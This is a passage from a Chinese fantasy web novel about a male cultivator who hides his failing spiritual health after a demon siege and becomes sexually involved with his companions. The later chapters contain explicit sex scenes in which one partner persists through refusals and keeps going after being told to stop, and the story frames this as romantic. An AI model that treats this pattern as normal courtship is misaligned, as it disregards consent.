她不由眼眶发酸,伸手想揪起对方的胸襟,半途又停下,带着哭腔低吼道:“你那个破药呢,快拿出来啊!” 她分明是最反对的人,但到了此时也顾不了那么多了。 未想到,都到这时候了,许青山竟然还有力气跟她拌嘴:“咳,不、不是,不让我用么?” 话是这么说,他还是强撑着从衣袖中掏出一只瓷瓶,揭了盖子倒出药丸喂进自己嘴里。 那药果然神奇,许初晴连丢了好几个止血法诀都没用的伤口,竟肉眼可见地慢慢愈合。 谢妄之两人扫了眼,见没有大碍,便各自去清理残局。并且外头还是有许多妖邪在向医馆这处靠近,天边黑压压翻滚着一片妖气。 谢妄之见状,眉心不由蹙得更深,接着便见远处飞掠而来几道身影。原来是白青崖他们。 他们几人原先各自分头处理妖邪,大概是都察觉到了什么,此时正不约而同地向医馆靠拢过来。 此番,谢妄之心中猜想愈加明晰——这些东西是被许青山养的那些成了妖的药草吸引过来的。 第40章 我的发热期要到了。…… 谢妄之之前想过,许青山养出来的那些药草,如果对人、修士的效果都很好,那对妖是不是也能有作用? 在野外,但凡宝物,周围必有大妖。因为妖的感知比人类敏锐许多,总是能察觉到非一般的东西,也天生会被不凡之物吸引。 虽是人为培育,但那些药草若当真与天生地长的宝物价值等同,会吸引妖邪聚拢也不奇怪。先是向城镇聚集,而后是向许青山的医馆。 但是……谢妄之蹙眉,很快又否定了这个猜想。 不过是十来盆成了精的药草,何至于引发如此规模的妖邪入侵?更何况,许青山养这些东西也不是一日两日了,这些妖早不入侵晚不入侵,非要挑这个时候? 这些成了精的药草或许是因素之一,但绝不是主要的。 难道背后还有推手? 谢妄之眉头蹙得更深,试图回忆那个话本是不是有相关剧情,借此找出原因—— 故事进行到中后期,此时的主角经过一系列的历练,修为已臻化境,而世家之间、世家与散修之间的矛盾冲突愈发激烈,彼此间争斗不休。潜藏的邪修与妖魔勾结,趁势大举进犯,意图颠覆修仙界。 而主角及后来会加入主角阵营的配角们,纷纷在此时大放异彩,不仅击退了妖邪,后来更是青云直上,连带整个修仙界都收入囊中。 顺带一提,在这其中,他谢妄之是什么角色呢? ——不到故事的中期,他已经是个残废了,甚至是英年早逝,那些剧情统统与他无关。并且实际上,话本中对他也着墨不多,更多的是存在于主角的记忆中。又或者是些趋炎附势的人,总爱将他拎出来,借他羞辱或是巴结主角。 再回到永宁城为何忽然会聚集如此多的妖邪这个问题上面来。 谢妄之思忖了一番,最后得到的结果是—— 没有结果。 类似妖邪大举入侵的剧情都在中后期,与此时根本对不上。 但已经没有更多时间让他去思考为什么。 他仰头看着天边黑压压的妖气逐渐逼近,眉心紧拧,握紧了随心剑,沉声道:“初晴姑娘,你们躲好。” “好、好的,你们千万小心。”许初晴扫了眼面色凝重的众人,自知是拖累,也没有犹豫,迅速将许青山扶起,一齐退到屋里去,将门窗关好。而谢妄之在门上留了道剑气,用以保护他们。 紧接着,天边浓稠的妖气便化作流星直坠而下,深浓雾气陡然弥漫开来,视野一片空茫,不见同伴,只看得见数十道身形模糊的黑色影子将他包围,还有几十双明明灭灭的血红色眼睛,像是暗夜里点的灯笼。 与血瞳对上的瞬间,那藏在雾中的妖立刻扑咬上来。与此同时,那道留在门窗的剑气也传来被攻击的波动。 谢妄之凭直觉迅速提剑格挡,又反手杀退几只,正欲去处理攻击门窗的妖邪,未想到那些妖忽然反身集中对付他。虽是不解,但于他而言是省了事。 但不知到底有多少妖邪向此处聚拢,源源不断,几乎不给他任何喘息时间,即便他修为碾压,也架不住灵力飞速消耗。更何况连日来的高强度作战,早就令他疲惫。 他像是被困在梦魇中,身周俱是一片漆黑的浓雾,只是依凭直觉与本能一次次挥剑,无法感知到周遭的环境与队友,只能朦胧感到留在门窗的剑气与他还有一丝联系。 天地被漆黑的雾气笼罩,而他也被黑暗吞噬,仿佛是孤军奋战,听不到他人的声音,也没有人帮他。 不知过去多久,他的灵力与体力飞速流逝,五感变得迟钝,随心剑鸣也变得沙哑。 分不清是妖还是他自己的血喷溅在脸上、身上,混着汗水流淌,传来温热而粘稠的触感。衣物好像也被彻底浸润,变得沉重,竟拖得他险些抬不起手臂,最后完全是靠意志支撑。 而他不知道的是,确实几乎所有的黑雾都疯狂地涌向了他。 在杀死最后一只扑咬上来的妖之后,他终于撑不住单膝点地,随心剑尖插入地面三寸,勉强支撑他的身体。 他垂着头大口喘息,而就在此时,他忽然感到一种强烈的被窥视感,来自于头顶。 这是第二次。 “谁?!”谢妄之依凭直觉猛地抬头。 只见漆黑的无尽虚空之中,裂开一道狭长的缝,几乎横亘整片天空,透出些微曦光,而后裂缝稍稍张开些,犹如一只巨大的眼睛。 与之对视的刹那,一股难以言喻的威严气息,仿佛化作千钧之鼎压上他的脊背与头颅,迫他弯腰、垂首。 但谢妄之不肯,仍仰头直视虚空。 他的不敬似乎令对方不满,凛冽的杀意倏忽而至,铺天盖地,千钧之鼎一瞬加重数十倍。 “唔——” 喉间猛地涌上一股猩甜,丹田绞痛难忍,浑身经脉犹如烈火烧灼。曾被剖开、剜出骨头的后腰更是刺痛难忍,仿佛再一次经历非人的折磨。 谢妄之拼命捺下呻吟,死死咬牙,颌角都鼓起。他已不知道自己在看什么,仍固执挺着脊背、仰着头,直到视野充斥一片猩红。耳畔寂静无声,却仿佛有液体淌出,传来细微的酥痒。 恍惚之间,眼前似闪过些画面,却朦胧得难以分辨。 紧接着,面前陡然现出一张咧开嘴笑的、面色苍白、双目猩红的妖邪的脸。 一只同样苍白、瘦骨嶙峋的鬼爪朝他伸出,长而尖的黑色指甲萦绕着丝丝缕缕的妖气,朝他的脖颈抓来。 而他的身体仿佛坠入冬日冰湖,浑身湿冷僵硬。那千钧之鼎仍压迫着他的脊背,令他丝毫动弹不得,竟只能眼睁睁看着。 天上那道裂隙微微弯了一下,似是轻蔑地笑。 “那只眼睛”,要杀他。 可笑。 凭什么? 谢妄之在心底嗤笑出声,拼命挣扎,唇角滑下殷红,双目双耳也涌出更多鲜血,残存的灵力在经脉中逆行。 灵力流即将逆向运转一周,那只鬼爪距他的咽喉不足半寸。 千钧一发之际,耳畔忽然灌入大片的风声,似乎有人颤抖着嗓音喊他的名字。 “谢妄之!” 他猛然回过神,逆行的灵力流立时停滞。身体似乎又恢复行动能力,感觉到血液在呼啸奔腾,浑身发麻,战栗不止。 他抬起手。 刹那之间,随心剑拔出,上挑。 一道雪亮剑光刺破黑暗,狞笑的妖邪登时化作飞灰,方圆数里的浓雾也被这一剑驱散—— 云开。 和煦日光落于指尖时,谢妄之抬头,只见一片蔚蓝。 而他的身侧正站着池越,黑色的丝线蔓延了整张脸,暗沉无光的眸紧锁着那道裂隙消失的位置。 * 经医馆一役,大部分的妖邪已被诛灭,不再有别的靠拢,而残余的更不足为虑,由伏妖司派人肃清即可。 但永宁百姓死伤惨重,而且大片房屋受到牵连崩塌,整座城镇要想恢复到从前的生机蓬勃,恐怕要好一阵子。 医馆内,许初晴正替谢妄之把脉,秀眉紧拧,盯着他看了许久,最后松开手,轻轻摇了下头,歉然道: “抱歉,初晴学艺不精,帮不了你什么,只有谢公子自己多加注意,不要再如前几日一般,过多消耗灵力。” “好,没关系,多谢初晴姑娘。”谢妄之微笑颔首,把手收回来。 话音才落,白青崖便大步进来,身后跟着司尘和池无月,几人均是一脸担忧。 白青崖扫了他们二人一眼,眉心微蹙:“你过来医馆怎么也不说一声,是还有哪里不舒服么?” “难道本公子去哪儿,还要向你报备么?”谢妄之撑着头睨去一眼,微微勾唇,“放心,不过闲来无事,找初晴姑娘聊聊罢了。” “是么?”白青崖蹙眉,显然不信,“那怎么不与我聊?” 谢妄之没应。 “许姑娘,谢妄之的情况怎么样了?”白青崖没再与谢妄之拌嘴,转头看向许初晴。 战后,谢妄之虽除了妖邪,但体力消耗过大,当场昏迷。 许初晴替谢妄之诊治,发现他体内灵力流紊乱,恐有入魔征兆,同时经脉受损,要将他留在医馆照看,被他拒绝之后又叮嘱他复诊。 出于奇妙的自尊,谢妄之不想让另几人知道自己的情况,便瞒着他们过来。 但此番重新把脉,许初晴发现他的情况远比之前复杂,竟令她束手无策。 “呃……” 面对白青崖的询问,许初晴没有立刻回答,下意识看了眼谢妄之。 而谢妄之微笑着回看她,沉默不语,但眼神明显。 看着谢妄之两人在自己面前眉来眼去,另几人不由蹙眉。 在众人起疑之前,许初晴便道:“各位不必担心,谢公子的身体没有大碍,只是灵力消耗过多,歇一阵便好。” “当真?” 几人将信将疑。 “初晴姑娘,我们方才说到哪了?”见势不好,谢妄之索性插话,“许青山怎么样了?” “哦,就是说到他。”许初晴会意,忙接过话头,“他恢复得差不多,现在还在隔壁治病呢。” “好,既然医馆繁忙,我们也不多叨扰了。”谢妄之点头,作势起身离开。 “谢公子若再感到身体不适,记得及时过来。” 出了医馆,谢妄之立即被白青崖攥住手,对方拧眉问:“你的身体到底怎么样了?” 司尘也凑上来:“主人,你的身体没事吧?” 池无月也看过来。 “放心,没事。” 谢妄之一时不备,怕被他们发现端倪,下意识挣扎,却发现自己挣不开,只好停住,无奈道:“初晴姑娘在许家排行第一,你们还信不过么?” “是么?”白青崖勾唇冷笑,“我先前便想问了,你和她很熟么?” “没有,就是见过几次。”谢妄之赶忙摇头。 “哼。”司尘忽然冷哼了声,添油加醋道:“我看可不只是见过几次面的关系。主人当初可是为了她要割下我的翅膀呢。” “嗯?”白青崖的眼神立时变得锐利。 “不是!” 谢妄之赶忙反驳,将当时的情况省略了些部分简单说了一下,同时对司尘这般记仇有些无奈。 但白青崖还是面色难看,冷淡地应了声“哦”。 带蝶妖出去就出去,没事收什么奴隶? * 之后几日,谢妄之一直在休养,另几人陪伴身侧,偶尔帮帮伏妖司的忙。 而医馆里,经过多日共同作战,许初晴与许青山二人关系缓和许多,后来在统计病人情况时终于发现永宁城出现湿邪症的原因。 原来许青山培育的药草容易吸引妖邪,服用其制成的药物也会如此。 而被吸引的其中一种妖,迷蝠,会吸食人血,但凡被吸食过血液便会染病。而其他人只要与患者接触过密,便有概率被传染。 但这种妖一般只在西北区域活动,并且天性胆小,从不会主动袭击人类,除非受到强烈的吸引。 那么,瘟疫的源头便显而易见了—— 有人服用了许青山制成的药前往西北区域。迷蝠受到吸引,吸食了他的血液。而这个人因为迷蝠的种族天赋,致幻,并不知道自己遭遇了什么。而且染上湿邪症后不会马上显露出症状,故而掉以轻心,继续与其他人亲密接触,疾病便由此传播。 那个镖师的情况大概与此类似。 调查出结果时,许青山久久不语,后来便亲手将自己精心培育的药草一把火烧了。 之后两人便共同研究瘟疫的治疗方法,所幸结果喜人。 正捣着药,许初晴忍不住瞄了眼对面,低声问:“你那天,为什么救我?” “……没为什么。”许青山动作一顿,轻叹了声,“大概是觉得,你活着,比我更有用吧。” 许初晴握紧捣药杵,沉默了会儿还是憋不住道:“看在事情快解决了的份上,老娘先不扇你。” “既如此,青山多谢大小姐高抬贵手。”许青山忍俊不禁。 * 在永宁城的湿邪症患者痊愈之后,许初晴便告别了众人,前往西北。 而谢妄之一行超额完成任务,也准备打道回府。他没再有什么身体不适的表现,后来几人便信了他的话。 几人乘坐马车回了扶摇城,池无月和司尘回客栈,白青崖与谢妄之回白家。 等身边终于不再有闲杂人等时,白青崖伸手拦住谢妄之即将关上的房门,低声问:“我先前问过你的事,你考虑得如何?” “嗯?什么?”谢妄之没反应过来。 白青崖手指攥紧了门板,双眸微眯,紧盯着谢妄之,一字一句道:“我的发热期,要到了。” 40-50 第41章 凶得像要把人吃下去。 “嗯?这么快?”谢妄之眉峰微挑,“什么时候?” 不过算算时间,确实也差不多过去一个多月了。那时候他给白青崖说,给他一点时间考虑一下。然而事实是,他完全不记得了。 见谢妄之并未将这件事放在心上,白青崖有些不高兴,但也拿谢妄之没办法。他暗自叹了声,面上只轻轻摇头道:“不是固定的,大概就是这几日吧。” 但他说完,谢妄之只应了声“哦”就没有了下文,随即微微拧眉,似在思忖的模样。 见状,白青崖顿时紧张起来,薄唇微抿。不太敢催促,但到底还是忍不住问:“谢妄之,到时候,我可以来找你么?” 未想到,话音落下,谢妄之眉头蹙得更深。 白青崖见他面色不好,生怕被拒绝,连忙又补充道:“你不用担心,只需像那时候一样,陪着我就好。你若是不愿意,我不会对你做什么……可以吗?” 说到后头,他不由自主将声音放轻,透出明显的讨好意味。 但谢妄之仍没有回答,他只以为是被拒绝,不由低垂下头,嘴唇微扁,像一条被雨淋湿的,温驯又委屈的大狗。虽不被允许进屋,但也舍不得走。 其实他一直自恃得到谢妄之的偏爱,但说到底,谢妄之为什么会偏爱他,会偏爱他多久,他完全没有把握。 未想到,谢妄之忽然应了声“嗯”,抬手轻摸了一下他的头,紧接着就将他往门外推。 “你答应了?”白青崖没有漏听,顿时眼神一亮,虽不解谢妄之为什么会是这种反应,但也没有反抗,临走时倾过身,在人唇上轻轻一吻,“你好好休息。” 说罢,他又恋恋不舍地看了谢妄之一眼才离开。 而待人一走,谢妄之将屋门阖上,立时再忍不住,嘴里猛地吐出一团血沫,身躯都微微摇晃。 方才,他体内灵力忽然逆行,只得专注调息引导,顾不上白青崖。 自给许初晴看过以后,他便有遇到这种情况,但当时处理起来并不困难,故而一直掩藏得很好。只是近日变得频繁和严重,而且毫无规律。 其实他对此并不感到陌生,相反,他非常熟悉—— 这是生了心障的表现。 在梦中,被剜去剑骨之前,他便因心障入魔,而后被修仙界众人围剿。 当时摆在他面前的只有两条路—— 要么去死。 要么变成残废。 而他两条路都不想选。 但令他感到不解的是: 这一次他很确定,他生出心障的源头——在演武比赛中输给崔岫,已被他亲手击碎。而令他心障加重的事还未发生,甚至可能已经被他无意识地规避了。毕竟梦醒以来,他做的、遇到的,有许多事已经不同。 为什么? ……会和那日见到的“眼睛”有关么? * 接下来几日,谢妄之一直待在屋中调养。此时大部分学生还未完成任务回到白家,不用上课,所以这段时间他能一直休息。 白青崖有时会来找他,倒也不做什么,就只是想和他待在一起。 但谢妄之怕自己的身体情况会被对方发现,便随意找了理由搪塞。 被拒绝以后,白青崖虽有些委屈,但也不敢说什么。 不过谢妄之已经答应对方的事,没有反悔的道理。 但比白青崖的发热期先来的,是裴云峰。 “回来了?”谢妄之开了门,见到对方时不由眉峰一挑,没让人进来,只是懒散抱臂倚着门框,“来做什么?” 他这几日都待在屋里,此时身上还穿着寝衣,松松垮垮,领口微敞着,露出一片蜜色胸膛。他又抱着双臂,饱满肌肉被两侧胳膊一挤,愈加鲜明,在中心营出一道深长沟壑。 裴云峰的视线不由自主落到谢妄之的胸膛,微微停顿一会儿又克制地移开,随即见到对方头发凌乱半披,浑身慵懒,像是刚从榻上下来。 他不由拧眉,往谢妄之身后瞥了眼,语气不咸不淡:“不让我进去么?” “来做什么?”谢妄之仍倚着门没动。 见状,裴云峰眉心蹙得更深,下意识就觉得谢妄之屋里还有别人,语气顿时冷了下来:“不做什么就不能来么?还是我来得不是时候,打搅你们了?” 不等谢妄之回话,也不知他自己胡思乱想了些什么,又冷笑了声,语气更锋锐:“我听说你们很早就回了白家。如何?不必上课就这样整日腻在屋里么?” “是啊。你管得着么?” 闻言,谢妄之不由沉下脸,也懒得解释,当即就要重新把门关上。 一只手却卡着门缝,五指攥着门板边缘使劲往里推。裴云峰一面卡着门,一面咬牙切齿地叫他:“谢妄之!” “出去。”谢妄之也幼稚地与人较上劲儿。 但他刚用上点力气,灵力流再次逆行,一瞬放松了力道,竟让裴云峰推开了门。 裴云峰趁势进屋,先是大致扫了圈,果真没见到他以为的别人,顿时消了气,又觉有些脸热。 自那日客栈摔门而出后,他几乎没有再与谢妄之私下单独见面过。 但其实经过这么长时日,他早就气消了……并且很想念谢妄之。若非如此,他不会一回到白家,沐浴收拾完就过来找人,只是面上不肯表现出来。 他回头去看谢妄之,却见对方立在原地,微蹙着眉,面色发白,不由一怔,随即大步上前去,双手握着谢妄之的肩膀问:“你怎么了?” 但谢妄之此时顾不上答话,于是裴云峰伸手握住谢妄之的脉门自行探查,往人经脉里注入一丝灵力。 他自己也有心障,立时知晓谢妄之现在是怎么回事,但是谢妄之的情况比他的复杂很多,当即眉心紧拧:“发生什么事了?为什么忽然这样?” “……不知道。”谢妄之勉强摇头,嗓音低哑。说话时面色更白,竟发了汗,两鬓微微湿润。 “灵修吧,我帮你梳理。” 说罢,裴云峰没等谢妄之应声,当即躬身,捞起谢妄之的双腿架在臂弯,把人打横抱起往榻边去。 谢妄之没力气反抗,也只能顺着对方去,直到脊背躺入柔软床褥,蜷着身体微微发抖。 裴云峰去闩上房门,反身回来,随即除了外衣与鞋袜,跟着上榻,身体撑在谢妄之头顶,垂眼见到对方的模样,不由神色一怔。 只见谢妄之侧躺着陷在床褥里,乌发披散,面色苍白,蜷缩着身子微微发抖。肌肤汗湿一片,雪色中衣也被浸润,变得透明,紧紧黏在上头,勾出流畅而性感的曲线。 分明生得英俊高大,平日也总是恣意张扬,任谁都不敢小觑,此时竟透出一种难言的脆弱凄惨,却别有一番韵味,令人愈发想要欺凌。 裴云峰顿时觉得喉里干燥发痒,不由轻咽了口唾沫。本来确实是只想着帮人梳理灵力流,这下目的便不太单纯了。 许是他盯得太久,又或许是眼神中掠夺与侵略的意味太重,谢妄之对上他的视线,顿时眉目一凛,当即强撑着抬脚就要把他踹下床去。 但此时的谢妄之实在没什么力气,反被人轻松捉住脚腕,放到唇边吻了一下足背。 裴云峰眼神更暗,嗓音低哑道:“都这样了,你还是省点力气吧。” “滚出去,不用你帮。” 谢妄之蹙着眉,要把脚收回来,对方却不肯松手,甚至捉着他的脚腕往旁侧压去。 “你帮过我,我自然也要帮你。” 裴云峰不悦拧眉,顺势往前,一手按着谢妄之的腰,另手拈住他本就松散的衣襟一角,一点点掀开,随即把手覆上去。 他方才就想了。 五指陷进,却不能尽握,从指缝间流出。 霞色逐渐晕染开来,混着晶莹的汗,折出诱人的肤光。 “裴、裴云峰!” 雷霆之力从胸口处汇入,又向全身经脉蔓延,与失序的冰寒之气交织,强势地将其牵回正轨,又阻在对方背后,迫其只得往前。 谢妄之分不清是由于对方灵力的汇入,还是别的,只觉胸口触电般酥麻发痒,叫他浑身颤栗,忍不住伸手捉住对方手腕,欲把人拽开。 但他使不出力气,于是动作全然变味。 “这样还会难受么?” 大概是因谢妄之此时弱势,看着好欺负,未想到,平日就喜欢在外人面前装得道貌岸然的裴云峰,这回是装到了榻上。 他状似担忧地微拧着眉,俯身凑近谢妄之,下一刻便把脸埋入。 “……” 谢妄之不由睁大眼,下意识弓起背,双手抓着床褥,手背青筋浮起。又忍不住仰起脖颈,挣扎着往后缩。 经脉里的冰寒灵力被雷霆围追堵截,像是被猎犬驱赶的羊群。 但紊乱暴动的灵力流也如主人一般并不服管,四处奔逃挣扎,冲撞着本就受损、岌岌可危的经脉,与雷霆激烈厮杀。 战火连天,暴动的灵力流渐渐失利,还被阻住去路,于是城池又在侵略下沦陷了一处。 又厮杀片刻,它终于被一丝一丝地捋顺,强势驱往丹田,不再逆行,浑身经脉的烧灼刺痛减轻许多。 “谢妄之,有觉得好些么?” 裴云峰直起身,伸舌轻舔去唇边挂着的乳白丝线,垂头对上谢妄之涣散失焦的眼,眸色微暗,又俯身去吻他的唇。 甜腥气味在唇齿间交换弥漫,裴云峰像是沙漠中的旅人,渴得发疯,不住贪婪吞咽,甚至把对方掳至自己的地盘,凶得像要把人吃下去。 大概是谢妄之这副模样太难得,他担忧心疼之余,比任何时刻都要兴奋。双臂将人紧搂住,一面热烈亲吻,一面无意识在人身上蹭动。 直到此时,谢妄之才缓过劲来,浑身大汗淋漓。 然而他做的第一件事就是将裴云峰推开,扬手甩了对方一个耳光。 第42章 我想和你结契。 甩完耳光,谢妄之粗喘着气,手肘撑着床面半坐起身。衣襟松散垂落,挂在臂弯。他垂眼看见自己胸口红肿一片,不由眉心紧拧,抬头狠剜了裴云峰一眼。 却见对方才刚被他打得偏过头,脸上浮起鲜红掌印,却不长记性,这会儿又向他倾过身来,伸手攥着他的腰。面上毫无愠色,看他的眼神炽热幽暗,神色肉眼可见的兴奋。 “你疯了?” 谢妄之见状,眉头不由蹙得更深,接着毫不留情拂开对方的手,顺带又要再甩个耳光。 未想到,下一刻,他的手腕反被人攥住,强硬放到唇边亲吻。 掌心传来湿软触感,继而是指根、指尖,直至被一片殷红色缠卷着吞没,陷入沼泽,湿漉漉。 谢妄之痒得指尖轻蜷,忍不住使力把手抽回。 半途又被裴云峰攥住,五指掐紧他的手腕,拧眉不满道:“刚用完我,就想着丢?” “……” 对方这一句倒是把谢妄之堵得没话了,虽然心里还是觉得有些不舒服,但他没再挣扎,慢慢卸下力道。 默了会儿,他问:“你想做什么?” 闻言,裴云峰微微睁大眼,呼吸陡然变得粗重,浑身都发烫。他咽了口唾沫,嗓音沙哑地唤了声“谢妄之”,身躯又凑近些。 接着伸手抚上谢妄之的腰,试探着慢慢往下往后,指尖颤抖,意有所指,哑着声问:“可、可以么?” “你觉得呢?”谢妄之冷笑了声,伸手把人按住,咬牙切齿,“你倒是敢狮子大开口。” “……这算什么狮子大开口。”裴云峰止住动作,但也没收回手。接着似是想到什么,长睫轻颤几下,脸颊与耳廓都发红。 “哦?”谢妄之倒生了兴致,眉峰微挑,抬了抬下颌,“那你还想做什么,说说看。” “我想、想和你……” 不知裴云峰到底想说什么,支支吾吾,脸色愈发红润,竟连手都缩回去,藏在袖中。但说到一半又莫名止住,随即轻叹了声,“罢了,你不会同意的。” “说。”这下谢妄之是真好奇了。 “……”裴云峰轻抿着嘴唇,见谢妄之一直专注盯着自己,不由撇开视线,过会儿才嗫嚅着轻声道:“我、我想和你……结契。” 闻言,谢妄之微微睁大了眼,下意识追问:“什么契?金兰契?还是——” “当然是道侣契!”裴云峰拧眉看他,猛地打断,语气微重。 却见谢妄之表情茫然,一看便知从没往这方面想过,顿时心口犹如针扎,微微刺痛,指尖都攥紧。 但,既然已经说出口,他也不再忸怩,当即又伸手覆上谢妄之的手背。 正想继续开口,未想到,下一刻,谢妄之猛地抽出手。 裴云峰神色一怔,想说的话一下子忘得一干二净,只觉胸口传来锐痛,痛得心跳都险些停滞,身体也仿佛坠入冰窖,四肢僵硬发冷,面色都苍白。 “谢、谢妄之,不是……” 他顿时慌乱,视野一瞬模糊,又勉强扯起嘴角,连连摆手。接着又忍不住伸手去碰谢妄之,“我是开玩笑的,别当真。” “你……”谢妄之微微睁大眼,却沉默没应,抿着唇看他,倒是没再躲,任他攥住手。 感受到掌心的温热,裴云峰才像是重新活过来,怕对方再躲,手指不由把人攥得更紧些,又试探地轻声问:“那,我们还继续灵修吗?” “……”谢妄之顿了会儿,还是点头。 见状,裴云峰神色肉眼可见地放松些,随即猛地向前倾身攫住谢妄之的唇。 但他心里仍不安,一手圈着谢妄之的腰,另手掌住对方的后脑,把人牢牢禁锢在怀中,像是要按进自己的身体。 大概是他抱得太紧,或是吻得太重,对方在他怀中微微挣扎,但他不肯松手。 淋在脸上的气息渐渐灼热粗重,与他相同,耳畔也充斥着清晰粘稠的水声。 微微退却的潮热再度升起、蔓延,他稍微退开些,与人鼻尖相抵,唇瓣分离时还拉出丝线。 他喘息着,用脸颊轻轻蹭了一下谢妄之,同时手掌又试探着往下摸。微微侧过头,唇瓣紧贴着对方开合,黏糊道:“就试一下,好不好?” “不要。”谢妄之蹙眉,撇开头。 “谢妄之……”裴云峰不依不饶,伸手扳过他的脸颊,又在他唇上啄吻,撒娇一样,“我这次先不进去,好不好?你若是当真不喜欢,我就再也不提了。” “……”谢妄之沉默,眉头蹙得更深。 “谢妄之……”裴云峰又侧过头,不停在他脸上、唇上啄吻,还用脸颊轻蹭着他撒娇。 谢妄之实在被磨得没办法,也想着或许可以一劳永逸,便轻轻点了下头。 下一刻,他立即被推倒进床褥,双脚踩在对方肩膀。 而裴云峰浑身都激动得颤抖,鼻息紊乱粗重,似能喷出火星,脸颊与耳廓热烫得快要冒烟。 分明谢妄之已经答应,他也肖想了许久,在不断试探又不断遭到拒绝的时间里,从未放弃过学习如何取悦对方。 但真到此时,学的那些理论、技巧,全被他抛诸脑后,慌乱无措得要命,甚至看都不敢,目光每至触及,便下意识地迅速撇开视线。 甚至他感觉到自己鼻腔微微发痒发热,好像有什么液体流出,嗅到一丝血腥气。 几个来回之后,他终于敢盯着看。一瞬间,浑身血液涌上大脑,叫他头晕目眩,又冲向下腹,传来强烈的胀痛。 与此同时,鼻腔蓄积的液体也跟着淌出。 直到唇瓣传来湿热,他才回过神,只觉脸颊更热,又下意识抬眸看了谢妄之一眼,却见对方根本没注意他,甚至神色平静,一副游刃有余的模样,庆幸之余又有些不满。 他取出巾帕擦净脸,一面擦一面克制不住地胡思乱想,难堪的嫉妒与幽怨又盈满心胸。不过片刻后,他便强行压下。 现在没什么好想的。日思夜想的人已经躺在他身下了。 “谢、谢妄之,那我、我开始了?”他伸出手,指尖颤抖得宛如筛糠。即将触上时又停住,嗓音沙哑得不像话,“真、真的……?” “别废话。”谢妄之蹙眉催促,语气斩钉截铁。 对他来说,既然已经决定,便没有什么好再犹豫的。 但他神色虽镇定,声音细听之下也藏着一丝紧张,当然也有一种色厉内荏、想要速战速决的意思。 裴云峰深吸口气,应了声“嗯”。 此时屋外忽然下起雨,淅淅沥沥,雨丝在风中飘摇着漫进屋里,空气中盈满潮湿水汽。 谢妄之仰面看着头顶淡青色的纱帐,闻见雨声中还混杂着点别的动静,只觉脸颊与耳廓发起热,不由抿紧了唇。 想来裴云峰应该事先做足了功课,甚至觊觎、蓄谋已久,竟没令他难受。他虽是不悦,但确实也挑不出错。 像是雨泽浸润,又像是烈火炙烤,难言的酥痒顺着尾椎攀爬,呈烈火燎原之势向全身蔓延。 渐渐的,他有些受不住,不由挣扎。双手抓着床褥,手背青筋浮起,胸膛挺起又落下。 最后终于忍不住踩着对方肩膀把人踹开,喘息着叫道:“不要了!” 未想到,裴云峰顺势往前倾身,用肩膀卡着他的膝弯,又俯下身吻他。 谢妄之睁大眼,挣扎得更激烈,身体却发软发抖,使不出力,只得被迫仰着脖颈任由对方亲吻,声音也被人贪婪吞入腹中。 头顶本就并未束牢固的幔帐渐渐散落,垂在身侧,随着床榻摇动,如水面般泛起波光。 直到谢妄之瞳眸涣散失焦,裴云峰松开手,他还回不过神,嘴唇微张着大口喘息,唇边银丝流淌都顾不上。双颊与耳廓红得艳丽,衬着英俊眉目,显出难言的欲色。 裴云峰眼神微暗,强捺住侵占的本能,只把人抱紧,吻去他脸上细密的汗,又蹭了蹭他,邀功似的问:“怎么样,觉得舒服么?” 但谢妄之又甩了他一个耳光,咬牙切齿地骂道:“烂透了!滚!” * 裴云峰骂谢妄之“与白青崖整日腻在屋里”不好,但好歹白青崖的事是他自己的臆想,他自己倒是真的。 还美其名曰“照顾”谢妄之。说谢妄之现下身体情况不稳定,需要人照看,而他自己是最佳的人选。 好像有什么平衡被打破了,裴云峰忽然格外粘他,硬是赖着不肯走,甚至打算搬过来与他同住,弄得谢妄之有些烦,却又拿对方没办法。 但直到第三日,白青崖来找谢妄之。 他的发热期到了。 第43章 发疯 连下了两日雨,今天终于放晴。 也是凑巧,裴云峰有任务在身,早些时候出了门。白青崖来时,只有谢妄之一人,正翘着腿躺在院中的藤椅晒太阳。 即便谢妄之不愿承认,但有裴云峰帮他梳理灵力流,他的情况确实好了很多,否则也不会这样悠闲。不过保险起见,灵力还是尽量能不用就不用。 “谢妄之。” 头顶忽然笼下一片阴影,谢妄之放下遮在面上的手臂,抬眸正与白青崖对上目光。 他放下腿坐起身,仔细打量白青崖,没看出对方与平日有什么大的区别,不由轻轻挑眉,“你的发热期到了?” “嗯。”白青崖点头。 “哦。”谢妄之应了声,往边上让了让,“先坐下吧。” 对方依言坐下,莫名变得很拘谨,坐姿端正,双手规矩地放在膝上,甚至两人中间隔了好些距离。 “怎么了?”谢妄之瞥了眼,只觉意外和好笑,忍不住想逗弄,便凑过去,伸臂揽住白青崖的肩膀,“不是说让我陪你么?原来只是这样‘陪’啊。” 他故意加重了几个字。 说是如此,其实他没什么想法。不过,既然已经答应,若是白青崖有需要,他帮一帮也无所谓。 “……” 耳畔拂过湿热气流,半边身子都发麻。白青崖呼吸微滞,置在膝上的双手一下攥紧成拳。 他本来就是故意坐远,谢妄之分明也没做什么,可勉强压下的欲望立刻又躁动起来,浑身都发起热。 偏偏谢妄之还凑得更近些,逗弄宠物似的轻挠他的下巴,调笑道:“怎么不说话?” 他想避开,可谢妄之的触碰却舒服得令他本能地仰起脖颈,享受地微眯起眼,像一条温驯乖巧的狗。 紧接着,身边人忽然动作一顿,轻“咦”了声,随即,他的耳朵立时被人轻轻捏住,握在温热掌心里把玩,酥痒得令他头皮发麻。 他感觉到不对,正想着,谢妄之忽然偏头看向他腰后,低笑道:“既然耳朵冒出来了,那尾巴呢?也给我玩玩。” 谢妄之垂头看向白青崖的后腰,只见雪白外衣下隆起一团,微微透出底下的深黑色泽。 他伸手欲摸,指尖还未触及,先被人一把攥住手腕制止,便顺势抬头看向对面。 只见白青崖紧抿着唇,双颊微红,发顶两只毛绒绒的三角耳轻轻颤动。虽是强硬攥着他的手,眼神却躲闪,像是害羞,低声道:“尾巴不能碰。” “为什么?”谢妄之微微一怔,随即坏笑着又凑近些,双目紧盯着对方,“话说回来,我好像很久没见过你家那只小狗了,你知道它去哪儿了吗?” 白青崖睁大了眼,面颊更红,随即将他松开,撇过头,语气僵硬,“……不知道。” “啊,那好吧,我还挺想念它的。”谢妄之状似惋惜地轻叹了声,一面观察着对方的反应。 只见白青崖眼睫微颤,嘴唇抿得更紧,藏在衣下的尾巴却轻轻摇动起来。 谢妄之忍俊不禁,正欲再说什么,白青崖忽然轻声问:“那,你喜欢他么?” “当然喜欢啊。”谢妄之又笑,伸手轻抚了下对方的脑袋,又忍不住去玩那只毛绒绒的、碰一下就会抖一下的手感极佳的三角耳,“而且它的耳朵很好玩,尾巴应该也不错。” 